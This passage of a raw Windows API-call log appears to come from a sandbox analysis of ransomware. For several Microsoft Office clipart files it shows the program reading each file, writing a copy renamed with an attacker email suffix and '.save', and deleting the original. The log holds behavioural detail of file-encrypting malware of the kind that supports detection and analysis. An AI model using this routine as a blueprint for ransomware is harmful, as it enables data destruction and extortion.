lpString2=".WMF") returned -1 [0172.045] lstrlenW (lpString=".docx") returned 5 [0172.045] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.045] lstrlenW (lpString=".pdf") returned 4 [0172.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.045] lstrlenW (lpString=".xls") returned 4 [0172.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.045] lstrlenW (lpString=".xlsx") returned 5 [0172.045] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.045] lstrlenW (lpString=".ppt") returned 4 [0172.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.045] lstrlenW (lpString=".zip") returned 4 [0172.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.045] lstrlenW (lpString=".rar") returned 4 [0172.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.045] lstrlenW (lpString=".bz2") returned 4 [0172.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.048] lstrlenW (lpString=".7z") returned 3 [0172.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.048] lstrlenW (lpString=".dbf") returned 4 [0172.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.049] lstrlenW (lpString=".1cd") returned 4 [0172.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.049] lstrlenW (lpString=".jpg") returned 4 [0172.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.049] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.049] lstrlenW (lpString="J0107146.WMF") returned 12 [0172.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.050] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=14996) returned 1 [0172.050] CloseHandle (hObject=0x544) returned 1 [0172.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220 [0172.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.051] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.051] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0172.053] GetLastError () returned 0x0 [0172.053] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3a94, lpOverlapped=0x0) returned 1 [0172.191] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0172.193] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.193] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.193] SetEndOfFile (hFile=0x510) returned 1 [0172.193] CloseHandle (hObject=0x510) returned 1 [0172.193] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.193] SetEndOfFile (hFile=0x544) returned 1 [0172.200] CloseHandle (hObject=0x544) returned 1 [0172.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0172.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.207] lstrlenW (lpString=".doc") returned 4 [0172.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString=".docx") returned 5 [0172.207] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0172.207] lstrlenW (lpString=".pdf") returned 4 [0172.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString=".xls") returned 4 [0172.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.207] lstrlenW (lpString=".xlsx") returned 5 [0172.207] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0172.207] lstrlenW (lpString=".ppt") returned 4 [0172.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.207] lstrlenW (lpString=".zip") returned 4 [0172.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.207] lstrlenW (lpString=".rar") returned 4 [0172.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString=".bz2") returned 4 [0172.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString=".7z") returned 3 [0172.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.207] lstrlenW (lpString=".dbf") returned 4 [0172.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.208] lstrlenW (lpString=".1cd") returned 4 [0172.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.208] lstrlenW (lpString=".jpg") returned 4 [0172.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.208] lstrlenW (lpString=".doc") returned 4 [0172.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString=".docx") returned 5 [0172.208] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0172.208] lstrlenW (lpString=".pdf") returned 4 [0172.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.209] lstrlenW (lpString=".xls") returned 4 [0172.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.209] lstrlenW (lpString=".xlsx") returned 5 [0172.209] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0172.209] lstrlenW (lpString=".ppt") returned 4 [0172.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.209] lstrlenW (lpString=".zip") returned 4 [0172.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.209] lstrlenW (lpString=".rar") returned 4 [0172.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.209] lstrlenW (lpString=".bz2") returned 4 [0172.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.209] lstrlenW (lpString=".7z") returned 3 [0172.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.209] lstrlenW (lpString=".dbf") returned 4 [0172.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.209] lstrlenW (lpString=".1cd") returned 4 [0172.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68 [0172.209] lstrlenW (lpString=".jpg") returned 4 [0172.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.210] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.210] lstrlenW (lpString="J0107148.WMF") returned 12 [0172.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.212] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=20136) returned 1 [0172.212] CloseHandle (hObject=0x544) returned 1 [0172.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220 [0172.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.213] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.213] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0172.215] GetLastError () returned 0x0 [0172.215] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x4ea8, lpOverlapped=0x0) returned 1 [0172.218] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x4eb0, lpOverlapped=0x0) returned 1 [0172.221] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.221] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.221] SetEndOfFile (hFile=0x510) returned 1 [0172.221] CloseHandle (hObject=0x510) returned 1 [0172.221] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.222] SetEndOfFile (hFile=0x544) returned 1 [0172.226] CloseHandle (hObject=0x544) returned 1 [0172.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0172.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.228] lstrlenW (lpString=".doc") returned 4 [0172.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.228] lstrlenW (lpString=".docx") returned 5 [0172.228] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.228] lstrlenW (lpString=".pdf") returned 4 [0172.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.229] lstrlenW (lpString=".xls") returned 4 [0172.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.229] lstrlenW (lpString=".xlsx") returned 5 [0172.229] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.229] lstrlenW (lpString=".ppt") returned 4 [0172.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.229] lstrlenW (lpString=".zip") returned 4 [0172.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.229] lstrlenW (lpString=".rar") returned 4 [0172.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.229] lstrlenW (lpString=".bz2") returned 4 [0172.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.229] lstrlenW (lpString=".7z") returned 3 [0172.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.229] lstrlenW (lpString=".dbf") returned 4 [0172.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.229] lstrlenW (lpString=".1cd") returned 4 [0172.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.229] lstrlenW (lpString=".jpg") returned 4 [0172.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.230] lstrlenW (lpString=".doc") returned 4 [0172.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.230] lstrlenW (lpString=".docx") returned 5 [0172.230] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.230] lstrlenW (lpString=".pdf") returned 4 [0172.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.230] lstrlenW (lpString=".xls") returned 4 [0172.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.230] lstrlenW (lpString=".xlsx") returned 5 [0172.230] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.230] lstrlenW (lpString=".ppt") returned 4 [0172.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.230] lstrlenW (lpString=".zip") returned 4 [0172.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.230] lstrlenW (lpString=".rar") returned 4 [0172.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.230] lstrlenW (lpString=".bz2") returned 4 [0172.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.230] lstrlenW (lpString=".7z") returned 3 [0172.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.231] lstrlenW (lpString=".dbf") returned 4 [0172.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.231] lstrlenW (lpString=".1cd") returned 4 [0172.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0172.231] lstrlenW (lpString=".jpg") returned 4 [0172.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.231] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.231] lstrlenW (lpString="J0107150.WMF") returned 12 [0172.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.546] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=13456) returned 1 [0172.546] CloseHandle (hObject=0x520) returned 1 [0172.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220 [0172.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.548] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.548] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0172.549] GetLastError () returned 0x0 [0172.549] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3490, lpOverlapped=0x0) returned 1 [0172.551] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x34a0, lpOverlapped=0x0) returned 1 [0172.552] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.552] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.552] SetEndOfFile (hFile=0x524) returned 1 [0172.553] CloseHandle (hObject=0x524) returned 1 [0172.553] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.553] SetEndOfFile (hFile=0x520) returned 1 [0172.555] CloseHandle (hObject=0x520) returned 1 [0172.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0172.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.557] lstrlenW (lpString=".doc") returned 4 [0172.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.557] lstrlenW (lpString=".docx") returned 5 [0172.557] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0172.557] lstrlenW (lpString=".pdf") returned 4 [0172.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.557] lstrlenW (lpString=".xls") returned 4 [0172.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.557] lstrlenW (lpString=".xlsx") returned 5 [0172.557] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0172.557] lstrlenW (lpString=".ppt") returned 4 [0172.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.557] lstrlenW (lpString=".zip") returned 4 [0172.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.557] lstrlenW (lpString=".rar") returned 4 [0172.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.557] lstrlenW (lpString=".bz2") returned 4 [0172.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.557] lstrlenW (lpString=".7z") returned 3 [0172.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.557] lstrlenW (lpString=".dbf") returned 4 [0172.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.557] lstrlenW (lpString=".1cd") returned 4 [0172.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.557] lstrlenW (lpString=".jpg") returned 4 [0172.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.558] lstrlenW (lpString=".doc") returned 4 [0172.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.558] lstrlenW (lpString=".docx") returned 5 [0172.558] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0172.558] lstrlenW (lpString=".pdf") returned 4 [0172.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.558] lstrlenW (lpString=".xls") returned 4 [0172.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.558] lstrlenW (lpString=".xlsx") returned 5 [0172.558] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0172.558] lstrlenW (lpString=".ppt") returned 4 [0172.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0172.558] 